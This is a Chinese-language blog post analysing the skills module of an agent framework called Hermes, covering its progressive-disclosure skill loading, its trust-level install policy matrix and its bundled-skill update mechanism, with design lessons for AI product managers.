Hermes 源码拆解|L7 技能模块:让 Agent 拥有 72 本＂工艺手册＂

🎯 一、L7 是什么（60 秒读懂）

一句话定位

L7 是 Hermes 的"经验操作手册库"——把"人对某件事的正确做法"打包成 Markdown 文件（SKILL.md），用 6 种信任等级的分发机制送到 Agent 手边，让 Agent 在需要时按需加载、按需学习、按需更新，从"工具调用者"升级成"工匠"。

生活化类比 📘

想象你经营一家装修公司：

• 工人（Agent）
   手里有工具（L4 tools）和记忆（L6 memory），但"怎么装一个美式厨房"这种专业知识呢？
• Skills 就是一本本"工艺手册"
   📚——每本讲一个具体场景的完整流程
• 工匠不用把所有手册背在脑子里
  ——看任务匹配再去柜子里取（progressive disclosure）
• 手册分不同等级
  ：公司自带规范（bundled 72 本）/ 可信合作社（openai、anthropics）/ 网友分享（community 要过安检）/ 工人自创（agent-created）

核心解决的痛点 🎯

🏗️ 二、五层架构：从存储到系统提示

2.1 宏观分层（自上而下）

2.2 Progressive Disclosure：三级 token 预算

Tier 1: 系统提示索引（每会话一次）   <available_skills>     autonomous-ai-agents:       - claude-code: Work inside a running Claude Code CLI session       - codex: Run codex-cli in non-interactive mode       ...   </available_skills>   成本：72 个 skill × ~30 token = 2160 token  Tier 2: skill_view(name) 加载完整 SKILL.md   成本：~2000-4000 token（按需）  Tier 3: skill_view(name, "references/api.md") 加载具体参考   成本：~500-2000 token

这是 Anthropic 官方推荐的 Progressive Disclosure 模式的完整实现——把"所有技能"变成可按需加载的知识库。

🔀 三、关键设计权衡

3.1 系统提示索引 vs 动态 RAG

Hermes 选：skill 索引进 system prompt，完整内容按需加载。

为什么不用 RAG？

• 确定性
  ：system prompt 里的索引永远一致（72 个），不会漏
• 控制权
  ：Agent 主动决定加载哪个 skill，而不是系统推
• 透明性
  ：用户知道模型能看到什么，调试方便
• Prompt cache 友好
  ：system prompt 稳定，Anthropic prompt caching 命中率高

代价：72 个 skill 名字就 2K+ token 占用，更多了 token 就要压缩索引。

启示：确定性 vs 灵活性——Agent 场景选前者。

3.2 Trust × Verdict 安装策略矩阵

INSTALL_POLICY = {     "builtin":       ("allow",  "allow",   "allow"),     "trusted":       ("allow",  "allow",   "block"),     "community":     ("allow",  "block",   "block"),     "agent-created": ("allow",  "allow",   "ask"), }

设计权衡：

• community 的 caution 为什么 block？
  ——社区信任低，宁可少装也不要安装可疑
• trusted 的 dangerous 也 block
  ——即使是 Anthropic/OpenAI 仓库，dangerous pattern 也拒
• agent-created 的 dangerous 是 ask
  ——Agent 可能假阳性，让人看看
• builtin 全 allow
  ——Hermes 官方对自己的 skill 全责

这种保守倾向在 AI 生态早期是对的——可疑就 block，宁错杀不放过。

3.3 Bundled 更新：Push 而非 Pull

Push（Hermes 选）：每次 hermes update 主动触发 skills_sync，对比哈希决定是否更新。

优势：用户几乎感知不到升级——写 skill 的人改了 bundled，用户下次就拿到。降低维护成本。

代价：需要跟踪用户修改（双哈希 manifest），每次启动都可能触发 sync。

启示：默认行为应该"看不见"——推式更新是"Apple 式体验"。

💡 四、AI 产品经理视角的特别洞察

4.1 可借鉴点（可以搬到你的产品）

任何"知识库 → Agent"场景都应该分三层：索引（系统提示，静态）→ 详情（按需加载，token 中等）→ 附件（参考资料，按需加载）。反例：不要把全部知识塞 system prompt（成本爆炸），也不要全用 RAG（确定性差）。

开源生态的杀手特性。你的产品如果支持插件/扩展，这个 3×4 矩阵是最佳起点。

版本化管理的通用模式——origin_hash + user_hash 让"用户修改"和"上游更新"自动共存。凡是 ship default + allow customization 的产品都该学。

把"文档"和"可执行命令"打通——用户不用记命令，可以让 Agent 实现 dogfood 流程。这个桥梁在聊天机器人产品里价值巨大。

fallback_for_toolsets / requires_toolsets 让一个内容包同时支持多种配置——你的产品如果有"基础版/专业版/企业版"的内容差异，比维护多个仓库优雅得多。

4.2 差异化启发（Hermes 做对了）

skill_manage(action="patch") 让 Agent 用了就改——即使 Agent 今天不改，用户 3 个月后发现问题改了，所有未来会话都受益。持续进化的 Agent。

不是 "the user said /dogfood"（弱信号），而是 [SYSTEM: ...]（超强信号）——模型区分"用户主动调用"和"模型自发加载"的态度完全不同。措辞设计值得学。

不是纯"自己写"也不是纯"社区贡献"——Hermes 自己 curate 72 个高质量 skill + 鼓励社区贡献 + 允许用户加 GitHub repo 作为 tap。三层内容策略适用于所有知识型产品。

4.3 局限与边界

🌟 结语：L7 是"Agent 生态化"的蓝本

读完 L7，你会理解为什么 Hermes 被称为"研究到产品的飞轮"：

而 L7 最独特的地方是"生态化"：不只是自己 72 个 skill，不只是用户自建，而是 6 个 Hub 源 + 信任矩阵 + 扫描 + 锁文件 + 审计 构成的完整插件生态。

和 VSCode Extensions / Homebrew / npm 同级的架构完整度——只不过载体是 Markdown，消费者是 Agent。

这就是为什么 L7 值得任何 AI 产品经理反复研读。

点击左下方“阅读原文”查看完整拆解